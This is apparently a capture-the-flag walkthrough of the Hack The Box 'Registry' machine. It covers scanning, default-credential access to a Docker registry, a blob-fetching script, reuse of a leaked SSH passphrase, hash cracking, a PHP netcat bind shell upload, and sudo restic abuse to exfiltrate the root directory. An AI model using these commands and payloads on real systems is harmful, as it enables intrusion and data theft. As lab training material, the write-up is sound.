Information Gathering
Nmap
We begin our reconnaissance by running an Nmap scan checking default scripts and testing for vulnerabilities.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# Nmap 7.80SVN scan initiated Thu Dec 12 22:18:37 2019 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /home/z3r0/CTF/HTB/Machine/Registry/scans/_quick_tcp_nmap.txt -oX /home/z3r0/CTF/HTB/Machine/Registry/scans/xml/_quick_tcp_nmap.xml 10.10.10.159
Increasing send delay for 10.10.10.159 from 0 to 5 due to 11 out of 24 dropped probes since last increase.
Nmap scan report for 10.10.10.159
Host is up, received user-set (0.37s latency).
Scanned at 2019-12-12 22:18:38 +08 for 95s
Not shown: 997 closed ports
Reason: 997 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCZtxPox0F/6ZQbPbgwP9t13ZX+DegufV+sVoqTGWfuE2/jQwVLR+TCLJM4EDg4UJol4OHl0ATQBkPM7CSi1DS3oZgNlaASXQoZFzHUN4KF1/B6uShfMcszORHOBSRZAMe5nuesre2oJtrqhyO1VS2TMOitFLmKEaDImHy7EXe8qnaK8CrVFAxdUOG8iQFEiZUt8JZJ6CPgfIu00t4JpIl9l4aOFEZT6H7xf7K74ov2KNyP6WCoOtdDf7Rhfwcfo6dogHxssH6O/d+FgN6KJ8q2gJjUZVYYjZHTfGCPRukmSDYQNglQkvzuOy3umUTwNt5NdjYBT+vemcOIaDPm0SX
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDFZI3tSfqp1WJF1TjoPa3J6j94yzXZMtFj92P8HcBUXCosmhsTsRa5rBvt20Es/qTp2otqYz3R3jf9O0OGC/tc=
| 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINNAMP4YFJGAx3ip1MPEsDuXUhgHXOIxrVTUCOxqJeRr
80/tcp open http syn-ack nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open ssl/http syn-ack nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=docker.registry.htb
| Issuer: commonName=Registry
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-05-06T21:14:35
| Not valid after: 2029-05-03T21:14:35
| MD5: 0d6f 504f 1cb5 de50 2f4e 5f67 9db6 a3a9
| SHA-1: 7da0 1245 1d62 d69b a87e 8667 083c 39a6 9eb2 b2b5
| -----BEGIN CERTIFICATE-----
| MIICrTCCAZUCCQDjC7Es6pyC3TANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAhS
| ZWdpc3RyeTAeFw0xOTA1MDYyMTE0MzVaFw0yOTA1MDMyMTE0MzVaMB4xHDAaBgNV
| BAMME2RvY2tlci5yZWdpc3RyeS5odGIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
| ggEKAoIBAQDAQd6mLhCheVIu0IOf2QIXH4UZGnzIrcQgDfTelpc3E4QxH0nq+KPg
| 7gsPuMz/WMnmZUh3dLKLXb7hqJ2Wk8vQM6tt+PbKna/D6WKXqGM3JnSLKW1YOkIu
| AuQenMOxJxh41IA0+3FqdlEdtaOV8sP+bgFB/uG2NDfPOLciJMop+d5pwpcxro8l
| egZASYNM3AbZjWAotmMqHwjGwZwqqxXxn61DixNDN2GWLQHO7QPUVUjF+Npso3zN
| ZLUJ1vkAtl6kFlmLTJgjlTUuE78udKD5r/NLqHNxxxObaSFXrmm2maDDoAkhobOt
| ljpa/U/fCv8g03KToaXVZYb6BfFEP5FBAgMBAAEwDQYJKoZIhvcNAQELBQADggEB
| AF3zSdj6GB3UYb431GRyTe32Th3QgpbXsQXA2qaLjI0n3qOF5PYnADgKsDzTxtDU
| z4e5vLz0Y3NhMKobft+vzBt2GbJIzo8DbmDBD3z1WQU+GLTnXyUAPF9J6fhtUgKm
| hoq1S8YsKRt/NMJwZMk3GiIw1c7KEN3/9XqJ9lfIyeXqVc6XBvuiZ+ssjDId0RZO
| 7eWWELxItMHPVScwWpOA7B4INPM6USKGy7hUTFcPJZB7+ElTFO2h0c4MwFQcSqKW
| BUG+oUPpMOoO99ZRnX8D5/H3dvbuBsuqKgRrPmQnMehoWs7pNRUDudUnnLfGEJHh
| PEyspHOCbg1C6a0gI1xo0c0=
|_-----END CERTIFICATE-----
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 12 22:20:13 2019 -- 1 IP address (1 host up) scanned in 96.65 seconds
Open Port: 22,80,443 Interesting subdomain name: docker.registry.htb
So lets put registry.htb and docker.registry.htb to /etc/hosts
Website - registry.htb
The frontpage of the website, hmm..
Lets fuzz the dir to get valid page. Using dirbuster for common dir name
Lets take a look
install
bolt
Ok hit a page with some interface. On this point, i simply check all the pages and links, but returned 404 error. I’m thinking of fuzzing the dir name again, with gobuster again.
with the result, i tried all the dir names again, and got 403 error except bolt dir. It redirects me to login page. Interesting
there should be key to get in. Maybe try look at the other host.
Website - docker.registry.htb
I start to fuzzing the site with gobuster to get valid dirname.
Got v2 dir.
HTTP Auth
Accessing v2 page, prompted with HTTP Auth box
Just using common credential admin:admin, im authenticated and redirected to page with empty response output. Looks like some api endpoint page.
Quick search in google with key docker v2, return interesting info about Docker Registry HTTP API V2
Dockerfetcher script
With docker registry api information, im thinking on searching for docker registry api script, and stumbled on python script
dockerfetch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import os
import json
import optparse
import requests
# pulls Docker Images from unauthenticated docker registry api.
# and checks for docker misconfigurations.
apiversion = "v2"
final_list_of_blobs = []
# Disable insecure request warning
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="URL Endpoint for Docker Registry API v2. Eg https://IP:Port", default="spam")
parser.add_option('-a', '--authorization',help="Found in the header prequest params (Authorization ) its an base64 user:password encode", default="")
options, args = parser.parse_args()
url = options.url
header = options.authorization
def list_repos():
req = requests.get(url+ "/" + apiversion + "/_catalog",headers={'Authorization': header}, verify=False)
print(req)
return json.loads(req.text)["repositories"]
def find_tags(reponame):
req = requests.get(url+ "/" + apiversion + "/" + reponame+"/tags/list", headers={'Authorization': header}, verify=False)
print("\n")
data = json.loads(req.content)
if "tags" in data:
return data["tags"]
def list_blobs(reponame,tag):
req = requests.get(url+ "/" + apiversion + "/" + reponame+"/manifests/" + tag, headers={'Authorization': header}, verify=False)
data = json.loads(req.content)
if "fsLayers" in data:
for x in data["fsLayers"]:
curr_blob = x['blobSum'].split(":")[1]
if curr_blob not in final_list_of_blobs:
final_list_of_blobs.append(curr_blob)
def download_blobs(reponame, blobdigest,dirname):
req = requests.get(url+ "/" + apiversion + "/" + reponame +"/blobs/sha256:" + blobdigest, headers={'Authorization': header}, verify=False)
filename = "%s.tar.gz" % blobdigest
with open(dirname + "/" + filename, 'wb') as test:
test.write(req.content)
def main():
if url is not "spam":
list_of_repos = list_repos()
print "\n[+] List of Repositories:\n"
for x in list_of_repos:
print x
target_repo = raw_input("\nWhich repo would you like to download?: ")
if target_repo in list_of_repos:
tags = find_tags(target_repo)
if tags is not None:
print "\n[+] Available Tags:\n"
for x in tags:
print x
target_tag = raw_input("\nWhich tag would you like to download?: ")
if target_tag in tags:
list_blobs(target_repo,target_tag)
dirname = raw_input("\nGive a directory name: ")
os.makedirs(dirname)
print "Now sit back and relax. I will download all the blobs for you in %s directory. \nOpen the directory, unzip all the files and explore like a Boss. " % dirname
for x in final_list_of_blobs:
print "\n[+] Downloading Blob: %s" % x
download_blobs(target_repo,x,dirname)
else:
print "No such Tag Available. Qutting...."
else:
print "[+] No Tags Available. Quitting...."
else:
print "No such repo found. Quitting...."
else:
print "\n[-] Please use -u option to define API Endpoint, e.g. https://IP:Port\n"
if __name__ == "__main__":
main()
Running the script, im able to fetch the Blobs.
1
python2.7 docketfetch.py -u https://docker.registry.htb -a "Basic YWRtaW46YWRtaW4="
bolt-image
Upon finishing the download, extracting the file, and this is what i got.
.bash_history
In enumeration process, i found interesting command history by looking in .bash_history file in root dir
- ssh key generation
- the priv key location
- shell script executed
/etc/profile.d/01-ssh.sh
There is shell script to run ssh and i found the passphrase for the ssh
Exploitation
SSH
With all the info collected, now i have the username and passphrase for ssh.
ssh -i bolt-image/root/.ssh/id_rsa bolt@10.10.10.159
passphrase:GkOcz221Ftb3ugog
Successfuly logged in.
User Flag
With ssh access, just ls the home dir, and got the user.txt
Privesc
I begin another enumeration. Using enumeration script, found useful command being run. I gotta find where this command was executed
/var/www/html/backup.php
Upon looking for restic command being run by sudo, i hit this file. and checking it contents, surely this file can run sudo restic command
this file actually in website dir. This means the command can be executed by www-data. I gotta find login credential for bolt login page i left earlier.
bolt.db
Deeper looking in /var/www/html dir, found bolt.db in bolt/app/database. Inside the file, I can see admin hash there
Cracking the hash
Copied the hash found in bolt.db, then crack it using john will reveal the password.
Nice, password cracked: strawberry
Bolt CMS
Visit the page again, logged in with the cracked password
username: admin password: strawberry
PHP Upload
After testing some of the functions in the admin panel, it seems i can upload php file. By default it wont accept php extension, but I can changed that in the settings
When trying using revershell, it not connecting back to my listener. Verify it with bolt ssh, seem reverse shell wont work. so i need bind shell. Im just using simple approach, i uploaded my nc to the server because the nc in the server not working with -e flag. Using scp command, im transfering nc to /var/tmp dir.
and the php code im uploaded named shell.php
1
<?php echo system("/var/tmp/nc -lnvp 31337 -e /bin/bash");
Shell
By the time my php file uploaded, i quickly open the file because in my testing process, any file uploaded will be deleted in short time.
Then just using nc from my local machine to access the open port in the machine to spawn bash.
Sudo right
Im checking sudo right instantly after getting the shell. Yeah, www-data is allowed to run sudo.
Restic
This tool is new to me actually, had to read their documentation to get basic understanding how it work.
In short, with sudo right, it can backup any file using restic to rest backend. So im planning on backup root dir.
Init Repo
Because of the security using this tool, its better im using my own repo. Here the command
restic init --repo <repo-name>
rest-server
Due to sudo command only allowed restic to backup to rest backend, i need some way to create rest backend. Luckily restic came with rest-server cli. Download it, and transfer it to target.
Transfering
Starting rest backend
Using nc i need to put ampersand (&) to the end of command, so it will go to background, otherwise i gotta kill my shell to end the process.
Abusing sudo restic command
Just using what sudo command allowed to create backup.
Snapshot list and restoring
Verify the dir exist in my repo using snapshot options. Then using restore command followed with the snapshot id.
the 1st snapshot there was my test file
Root Dir
List
Looks i can list all root content there
Root Flag
Just cat the flag then
Priv key
Im grabbing root priv_key for stable access to root
Root SSH
And yeehaa!
Reference
- https://bolt.cm/
- https://restic.net/
- https://github.com/restic/rest-server
Comments powered by Disqus.